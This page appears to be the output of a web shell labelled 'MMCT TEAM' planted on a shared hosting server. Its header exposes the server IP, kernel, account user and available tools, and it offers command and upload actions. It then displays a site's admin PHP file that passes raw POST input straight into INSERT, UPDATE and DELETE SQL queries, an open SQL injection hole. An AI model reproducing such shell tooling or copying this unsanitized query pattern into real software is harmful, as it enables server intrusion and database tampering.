MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/dtplenviro/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/dtplenviro/admin/add_vgallery.php
<?php
include("includes/config.php");

if(isset($_POST['add_vgallery'])){

    $vlink = $_POST['vlink'];
//  print_r ($vlink);
//  die();

    $query = "INSERT INTO vgallery (vlink) VALUES ('$vlink')";
    $query_run = mysqli_query($conn, $query);


    if($query_run){
        $_SESSION['status'] = " Uploaded Successfully";
             echo "<script>window.location.href='view-vgallery.php';</script>";
        // header('Location: view-vgallery.php');
        exit;
    } else {
        $_SESSION['status'] = "Data Not Uploaded Successfully";
         echo "<script>window.location.href='vgallery.php';</script>";
        // header('Location: vgallery.php');
        exit;
    }
}



// update 

if(isset($_POST['update_vgallery'])){
    $id = $_POST['id'];
    $vlink = $_POST['vlink'];

    $query = "UPDATE vgallery SET vlink='$vlink' WHERE id ='$id' ";

    $query_run = mysqli_query($conn, $query);

    if($query_run){
       
        $_SESSION['status'] = "Updated Successfully";
                      echo "<script>window.location.href='view-vgallery.php';</script>";
    
        // header('Location: view-vgallery.php');
    } else {
        $_SESSION['status'] = " Not Updated ";
                 echo "<script>window.location.href='vgallery.php';</script>";

        // header('Location: view-vgallery.php');
    }
}



// delete
if(isset($_POST['delete_vgallery'])){
    $id = $_POST['delete_id'];

    $query = "DELETE FROM vgallery WHERE id = '$id'";
    $query_run = mysqli_query($conn, $query);

    if($query_run){
        $_SESSION['status'] = "Deleted Successfully";
                 echo "<script>window.location.href='view-vgallery.php';</script>";

        // header('Location: view-vgallery.php');
    } else {
        $_SESSION['status'] = "Not Deleted Successfully";
                 echo "<script>window.location.href='view-vgallery.php';</script>";

        // header('Location: view-vgallery.php');
    }
}

MMCT - 2023